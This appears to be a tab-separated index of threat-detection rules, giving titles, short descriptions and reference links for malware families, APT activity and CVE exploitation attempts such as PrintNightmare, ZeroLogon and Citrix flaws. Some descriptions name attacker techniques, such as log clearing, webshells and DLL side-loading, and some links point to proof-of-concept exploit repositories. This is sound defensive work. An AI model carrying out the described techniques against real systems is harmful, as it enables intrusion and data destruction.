WMI Event Subscription	Detects creation of WMI event subscription persistence method	https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-19-wmievent-wmieventfilter-activity-detected, https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-20-wmievent-wmieventconsumer-activity-detected, https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-21-wmievent-wmieventconsumertofilter-activity-detected
Suspicious Scripting in a WMI Consumer	Detects suspicious commands that are related to scripting/powershell in WMI Event Consumers	https://in.security/an-intro-into-abusing-and-identifying-wmi-event-subscriptions-for-persistence/, https://github.com/Neo23x0/signature-base/blob/615bf1f6bac3c1bdc417025c40c073e6c2771a76/yara/gen_susp_lnk_files.yar#L19, https://github.com/RiccardoAncarani/LiquidSnake
Suspicious Encoded Scripts in a WMI Consumer	Detects suspicious encoded payloads in WMI Event Consumers	https://github.com/RiccardoAncarani/LiquidSnake
Rejetto HTTP File Server RCE	Detects attempts to exploit a Rejetto HTTP File Server (HFS) via CVE-2014-6287	https://vk9-sec.com/hfs-code-execution-cve-2014-6287/, https://www.exploit-db.com/exploits/39161, https://github.com/Twigonometry/Cybersecurity-Notes/blob/c875b0f52df7d2c7a870e75e1f0c2679d417931d/Writeups/Hack%20the%20Box/Boxes/Optimum/10%20-%20Website.md
CVE-2010-5278 Exploitation Attempt	MODx manager - Local File Inclusion:Directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl, and possibly earlier, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter.	https://github.com/projectdiscovery/nuclei-templates
ZxShell Malware	Detects a ZxShell start by the called and well-known function name	https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100, https://pub-7cb8ac806c1b4c4383e585c474a24719.r2.dev/116309e7121bc8b0e66e4166c06f7b818e1d3629.pdf
Turla Group Lateral Movement	Detects automated lateral movement by Turla group	https://securelist.com/the-epic-turla-operation/65545/
Turla Group Commands May 2020	Detects commands used by Turla group as reported by ESET in May 2020	https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
Exploit for CVE-2015-1641	Detects Winword starting uncommon sub process MicroScMgmt.exe as used in exploits for CVE-2015-1641	https://www.virustotal.com/en/file/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8/analysis/, https://www.hybrid-analysis.com/sample/5567408950b744c4e846ba8ae726883cb15268a539f3bb21758a466e47021ae8?environmentId=100
Exploit for CVE-2017-0261	Detects Winword starting uncommon sub process FLTLDR.exe as used in exploits for CVE-2017-0261 and CVE-2017-0262	https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html
Droppers Exploiting CVE-2017-11882	Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe	https://www.hybrid-analysis.com/sample/2a4ae284c76f868fc51d3bb65da8caa6efacb707f265b25c30f34250b76b7507?environmentId=100, https://www.linkedin.com/pulse/exploit-available-dangerous-ms-office-rce-vuln-called-thebenygreen-, https://github.com/embedi/CVE-2017-11882
Exploit for CVE-2017-8759	Detects Winword starting uncommon sub process csc.exe as used in exploits for CVE-2017-8759	https://www.hybrid-analysis.com/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100, https://www.reverse.it/sample/0b4ef455e385b750d9f90749f1467eaf00e46e8d6c2885c260e1b78211a51684?environmentId=100
Adwind RAT / JRAT	Detects javaw.exe in AppData folder as used by Adwind / JRAT	https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100, https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf
CosmicDuke Service Installation	Detects the installation of a service named "javamtsup" on the system. The CosmicDuke info stealer uses Windows services typically named "javamtsup" for persistence.	https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf
Fireball Archer Install	Detects Archer malware invocation via rundll32	https://www.virustotal.com/en/file/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022/analysis/, https://www.hybrid-analysis.com/sample/9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022?environmentId=100
Malware Shellcode in Verclsid Target Process	Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro	https://twitter.com/JohnLaTwC/status/837743453039534080
NotPetya Ransomware Activity	Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and Windows eventlogs are cleared using wevtutil	https://securelist.com/schroedingers-petya/78870/, https://www.hybrid-analysis.com/sample/64b0b58a2c030c77fdb2b537b2fcc4af432bc55ffb36599a31d418c7c69e94b1?environmentId=100
Potential PlugX Activity	Detects the execution of an executable that is typically used by PlugX for DLL side loading starting from an uncommon location	http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/, https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/
StoneDrill Service Install	This method detects a service install of the malicious Microsoft Network Realtime Inspection Service service described in StoneDrill report by Kaspersky	https://securelist.com/blog/research/77725/from-shamoon-to-stonedrill/
WannaCry Ransomware Activity	Detects WannaCry ransomware activity	https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100
Potential APT10 Cloud Hopper Activity	Detects potential process and execution activity related to APT10 Cloud Hopper operation	https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
Ps.exe Renamed SysInternals Tool	Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report	https://www.us-cert.gov/ncas/alerts/TA17-293A
Equation Group C2 Communication	Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools	https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, https://medium.com/@msuiche/the-nsa-compromised-swift-network-50ec3000b195
Lazarus System Binary Masquerading	Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location	https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
Turla Group Named Pipes	Detects a named pipe used by Turla group samples	Internal Research, https://attack.mitre.org/groups/G0010/
Turla Service Install	This method detects a service install of malicious services mentioned in Carbon Paper - Turla report by ESET	https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/
Turla PNG Dropper Service	This method detects malicious services mentioned in Turla PNG dropper report by NCC Group in November 2018	https://research.nccgroup.com/2018/11/22/turla-png-dropper-is-back/
Fortinet CVE-2018-13379 Exploitation	Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs	https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
Oracle WebLogic Exploit	Detects access to a webshell dropped into a keystore folder on the WebLogic server	https://twitter.com/pyn3rd/status/1020620932967223296, https://github.com/LandGrey/CVE-2018-2894
Elise Backdoor Activity	Detects Elise backdoor activity used by APT32	https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting, https://web.archive.org/web/20200302083912/https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf
APT27 - Emissary Panda Activity	Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27	https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965, https://twitter.com/cyb3rops/status/1168863899531132929, https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/
Sofacy Trojan Loader Activity	Detects Trojan loader activity as used by APT28	https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/, https://www.hybrid-analysis.com/sample/ff808d0a12676bfac88fd26f955154f8884f2bb7c534b9936510fd6296c543e8?environmentId=110, https://twitter.com/ClearskySec/status/960924755355369472
APT29 2018 Phishing Campaign File Indicators	Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant	https://twitter.com/DrunkBinary/status/1063075530180886529, https://www.mandiant.com/resources/blog/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign
APT29 2018 Phishing Campaign CommandLine Indicators	Detects indicators of APT 29 (Cozy Bear) phishing-campaign as reported by mandiant	https://twitter.com/DrunkBinary/status/1063075530180886529, https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/, https://www.mandiant.com/resources/blog/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign
OceanLotus Registry Activity	Detects registry keys created in OceanLotus (also known as APT32) attacks	https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/, https://github.com/eset/malware-ioc/tree/master/oceanlotus
Potential MuddyWater APT Activity	Detects potential Muddywater APT activity	https://www.mandiant.com/resources/blog/iranian-threat-group-updates-ttps-in-spear-phishing-campaign
OilRig APT Activity	Detects OilRig activity as reported by Nyotron in their March 2018 report	https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
OilRig APT Registry Persistence	Detects OilRig registry persistence as reported by Nyotron in their March 2018 report	https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
OilRig APT Schedule Task Persistence - Security	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report	https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
OilRig APT Schedule Task Persistence - System	Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report	https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
Defrag Deactivation	Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group	https://securelist.com/apt-slingshot/84312/
Defrag Deactivation - Security	Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group	https://securelist.com/apt-slingshot/84312/
TropicTrooper Campaign November 2018	Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia	https://www.microsoft.com/en-us/security/blog/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/
Potential BearLPE Exploitation	Detects potential exploitation of the BearLPE exploit using Task Scheduler ".job" import arbitrary DACL write\par	https://github.com/djhohnstein/polarbearrepo/blob/f26d3e008093cc5c835e92a7165170baf6713d43/bearlpe/polarbear/polarbear/exploit.cpp
Pulse Secure Attack CVE-2019-11510	Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole	https://www.exploit-db.com/exploits/47297
Exploiting SetupComplete.cmd CVE-2019-1378	Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378	https://web.archive.org/web/20200530031708/https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua
Citrix Netscaler Attack CVE-2019-19781	Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack	https://support.citrix.com/article/CTX267679, https://support.citrix.com/article/CTX267027, https://isc.sans.edu/diary/25686, https://twitter.com/mpgn_x64/status/1216787131210829826, https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md
Exploiting CVE-2019-1388	Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM	https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1388, https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
Potential Baby Shark Malware Activity	Detects activity that could be related to Baby Shark malware	https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
Confluence Exploitation CVE-2019-3398	Detects the exploitation of the Confluence vulnerability described in CVE-2019-3398	https://devcentral.f5.com/s/articles/confluence-arbitrary-file-write-via-path-traversal-cve-2019-3398-34181
Chafer Malware URL Pattern	Detects HTTP request used by Chafer malware to receive data from its C2.	https://securelist.com/chafer-used-remexi-malware/89538/
Potential Dridex Activity	Detects potential Dridex acitvity via specific process patterns	https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3, https://redcanary.com/threat-detection-report/threats/dridex/
Potential Dtrack RAT Activity	Detects potential Dtrack RAT activity via specific process patterns	https://securelist.com/my-name-is-dtrack/93338/, https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/, https://www.cyberbit.com/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/, https://app.any.run/tasks/4bc9860d-ab51-4077-9e09-59ad346b92fd/, https://app.any.run/tasks/ce4deab5-3263-494f-93e3-afb2b9d79f14/
Potential Emotet Activity	Detects all Emotet like process executions that are not covered by the more generic rules	https://app.any.run/tasks/e13ab713-64cf-4b23-ad93-6dceaa5429ac/, https://app.any.run/tasks/81f3c28c-c686-425d-8a2b-a98198d244e1/, https://app.any.run/tasks/97f875e8-0e08-4328-815f-055e971ba754/, https://app.any.run/tasks/84fc9b4a-ea2b-47b1-8aa6-9014402dfb56/
Formbook Process Creation	Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.	https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer, https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/, https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/, https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/
LockerGoga Ransomware Activity	Detects LockerGoga ransomware activity via specific command line.	https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a, https://blog.f-secure.com/analysis-of-lockergoga-ransomware/, https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/
Potential QBot Activity	Detects potential QBot activity by looking for process executions used previously by QBot	https://twitter.com/killamjr/status/1179034907932315648, https://app.any.run/tasks/2e0647b7-eb86-4f72-904b-d2d0ecac07d1/
Potential Ryuk Ransomware Activity	Detects Ryuk ransomware activity	https://app.any.run/tasks/d860402c-3ff4-4c1f-b367-0237da714ed1/, https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/
Potential Snatch Ransomware Activity	Detects specific process characteristics of Snatch ransomware word document droppers	https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
Ursnif Malware C2 URL Pattern	Detects Ursnif C2 traffic.	https://www.fortinet.com/blog/threat-research/ursnif-variant-spreading-word-document.html
Ursnif Malware Download URL Pattern	Detects download of Ursnif malware done by dropper documents.	https://notebook.community/Cyb3rWard0g/HELK/docker/helk-jupyter/notebooks/sigma/proxy_ursnif_malware
Potential Ursnif Malware Activity - Registry	Detects registry keys related to Ursnif malware.	https://blog.yoroi.company/research/ursnif-long-live-the-steganography/, https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/
Potential APT-C-12 BlueMushroom DLL Load Activity Via Regsvr32	Detects potential BlueMushroom DLL loading activity via regsvr32 from AppData Local	https://pbs.twimg.com/media/EF3yLGoWkAEGeLa?format=jpg
APT31 Judgement Panda Activity	Detects APT31 Judgement Panda activity as described in the Crowdstrike 2019 Global Threat Report	https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
APT40 Dropbox Tool User Agent	Detects suspicious user agent string of APT40 Dropbox tool	Internal research from Florian Roth
Potential Russian APT Credential Theft Activity	Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike	https://www.documentcloud.org/documents/5743766-Global-Threat-Report-2019.html
Potential EmpireMonkey Activity	Detects potential EmpireMonkey APT activity	https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/, https://malpedia.caad.fkie.fraunhofer.de/actor/anthropoid_spider
Equation Group DLL_U Export Function Load	Detects a specific export function name used by one of EquationGroup tools	https://github.com/00derp/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=, https://twitter.com/cyb3rops/status/972186477512839170
Mustang Panda Dropper	Detects specific process parameters as used by Mustang Panda droppers	https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/, https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/, https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
Operation Wocao Activity	Detects activity mentioned in Operation Wocao report	https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/, https://twitter.com/SBousseaden/status/1207671369963646976
Operation Wocao Activity - Security	Detects activity mentioned in Operation Wocao report	https://web.archive.org/web/20200226212615/https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/, https://web.archive.org/web/20200226212615/https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf, https://twitter.com/SBousseaden/status/1207671369963646976
CVE-2020-0688 Exploitation Attempt	Detects CVE-2020-0688 Exploitation attempts	https://github.com/Ridter/cve-2020-0688
CVE-2020-0688 Exchange Exploitation via Web Log	Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688	https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/
CVE-2020-0688 Exploitation via Eventlog	Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688	https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/, https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/
CVE-2020-10148 SolarWinds Orion API Auth Bypass	Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts	https://kb.cert.org/vuls/id/843464
DNS RCE CVE-2020-1350	Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process	https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/, https://web.archive.org/web/20230329172447/https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html
Potential Emotet Rundll32 Execution	Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL	https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html, https://cyber.wtf/2021/11/15/guess-whos-back/
CVE-2020-5902 F5 BIG-IP Exploitation Attempt	Detects the exploitation attempt of the vulnerability found in F5 BIG-IP and described in CVE-2020-5902	https://support.f5.com/csp/article/K52145254, https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/, https://twitter.com/yorickkoster/status/1279709009151434754, https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195	Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195	https://support.citrix.com/article/CTX276688, https://research.nccgroup.com/2020/07/10/rift-citrix-adc-vulnerabilities-cve-2020-8193-cve-2020-8195-and-cve-2020-8196-intelligence/, https://dmaasland.github.io/posts/citrix.html
ComRAT Network Communication	Detects Turla ComRAT network communication.	https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
Exploitation Attempt Of CVE-2020-1472 - Execution of ZeroLogon PoC	Detects the execution of the commonly used ZeroLogon PoC executable.	https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/, https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Suspicious PrinterPorts Creation (CVE-2020-1048)	Detects new commands that add new printer port which point to suspicious file	https://windows-internals.com/printdemon-cve-2020-1048/
Exploited CVE-2020-10189 Zoho ManageEngine	Detects the exploitation of Zoho ManageEngine Desktop Central Java Deserialization vulnerability reported as CVE-2020-10189	https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html, https://vulmon.com/exploitdetails?qidtp=exploitdb&qid=48224
CVE-2020-1048 Exploitation Attempt - Suspicious New Printer Ports - Registry	Detects changes to the "Ports" registry key with data that includes a Windows path or a file with a suspicious extension. This could be an attempt to exploit CVE-2020-1048 - a Windows Print Spooler elevation of privilege vulnerability.	https://windows-internals.com/printdemon-cve-2020-1048/
TerraMaster TOS CVE-2020-28188	Detects the exploitation of the TerraMaster TOS vulnerability described in CVE-2020-28188	https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/, https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
Blue Mockingbird	Attempts to detect system changes made by Blue Mockingbird	https://redcanary.com/blog/blue-mockingbird-cryptominer/
GALLIUM IOCs	Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.	https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/, https://github.com/Azure/Azure-Sentinel/blob/a02ce85c96f162de6f8cc06f07a53b6525f0ff7f/Solutions/Legacy%20IOC%20based%20Threat%20Protection/Analytic%20Rules/GalliumIOCs.yaml
Potential Maze Ransomware Activity	Detects specific process characteristics of Maze ransomware word document droppers	https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html, https://app.any.run/tasks/51e7185c-52d7-4efb-ac0d-e86340053473/, https://app.any.run/tasks/65a79440-373a-4725-8d74-77db9f2abda4/
Trickbot Malware Activity	Detects Trickbot malware process tree pattern in which "rundll32.exe" is a parent of "wermgr.exe"	https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20, https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/
Potential Ke3chang/TidePool Malware Activity	Detects registry modifications potentially related to the Ke3chang/TidePool malware as seen in campaigns running in 2019 and 2020	https://web.archive.org/web/20200618080300/https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf, https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
EvilNum APT Golden Chickens Deployment Via OCX Files	Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report	https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/, https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/
Cisco ASA FTD Exploit CVE-2020-3452	Detects exploitation attempts on Cisco ASA FTD systems exploiting CVE-2020-3452 with a status code of 200 (sccessful exploitation)	https://twitter.com/aboul3la/status/1286012324722155525, https://github.com/darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter
FlowCloud Registry Markers	Detects FlowCloud malware registry markers from threat group TA410. The malware stores its configuration in the registry alongside drivers utilized by the malware's keylogger components.	https://www.proofpoint.com/us/blog/threat-insight/ta410-group-behind-lookback-attacks-against-us-utilities-sector-returns-new
Oracle WebLogic Exploit CVE-2020-14882	Detects exploitation attempts on WebLogic servers	https://isc.sans.edu/diary/26734, https://twitter.com/jas502n/status/1321416053050667009?s=20, https://twitter.com/sudo_sudoka/status/1323951871078223874
Lazarus Group Activity	Detects different process execution behaviors as described in various threat reports on Lazarus group activity	https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/, https://www.hvs-consulting.de/lazarus-report/
GALLIUM Artefacts - Builtin	Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.	https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/, https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)
Leviathan Registry Key Activity	Detects registry key used by Leviathan APT in Malaysian focused campaign	https://www.elastic.co/blog/advanced-techniques-used-in-malaysian-focused-apt-campaign
Solarwinds SUPERNOVA Webshell Access	Detects access to SUPERNOVA webshell as described in Guidepoint report	https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/, https://www.anquanke.com/post/id/226029
UNC2452 Process Creation Patterns	Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries	https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
Greenbug Espionage Group Indicators	Detects tools and process executions used by Greenbug in their May 2020 campaign as reported by Symantec	https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia
UNC2452 PowerShell Pattern	Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports	https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware, https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command
Suspicious VBScript UN2452 Pattern	Detects suspicious inline VBScript keywords as used by UNC2452	https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
TAIDOOR RAT DLL Load	Detects specific process characteristics of Chinese TAIDOOR RAT malware load	https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a
Winnti Malware HK University Campaign	Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities	https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/
Winnti Pipemon Characteristics	Detects specific process characteristics of Winnti Pipemon malware reported by ESET	https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
CVE-2021-31979 CVE-2021-33771 Exploits by Sourgum	Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum	https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/, https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
CVE-2021-31979 CVE-2021-33771 Exploits	Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum	https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/, https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/
Arcadyan Router Exploitations	Detects exploitation of vulnerabilities in Arcadyan routers as reported in CVE-2021-20090 and CVE-2021-20091.	https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2, https://www.tenable.com/security/research/tra-2021-13, https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
Possible Exploitation of Exchange RCE CVE-2021-42321	Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321
Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection	Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 .	https://twitter.com/mvelazco/status/1410291741241102338, https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675, https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
CVE-2021-1675 Print Spooler Exploitation Filename Pattern	Detects the default filename used in PoC code against print spooler vulnerability CVE-2021-1675	https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/, https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare, https://github.com/cube0x0/CVE-2021-1675
Possible CVE-2021-1675 Print Spooler Exploitation	Detects events of driver load errors in print service logs that could be a sign of successful exploitation attempts of print spooler vulnerability CVE-2021-1675	https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/, https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare, https://twitter.com/fuzzyf10w/status/1410202370835898371
CVE-2021-1675 Print Spooler Exploitation	Detects driver load events print service operational log that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675	https://twitter.com/MalwareJake/status/1410421967463731200
CVE-2021-1675 Print Spooler Exploitation IPC Access	Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527	https://twitter.com/INIT_3/status/1410662463641731075
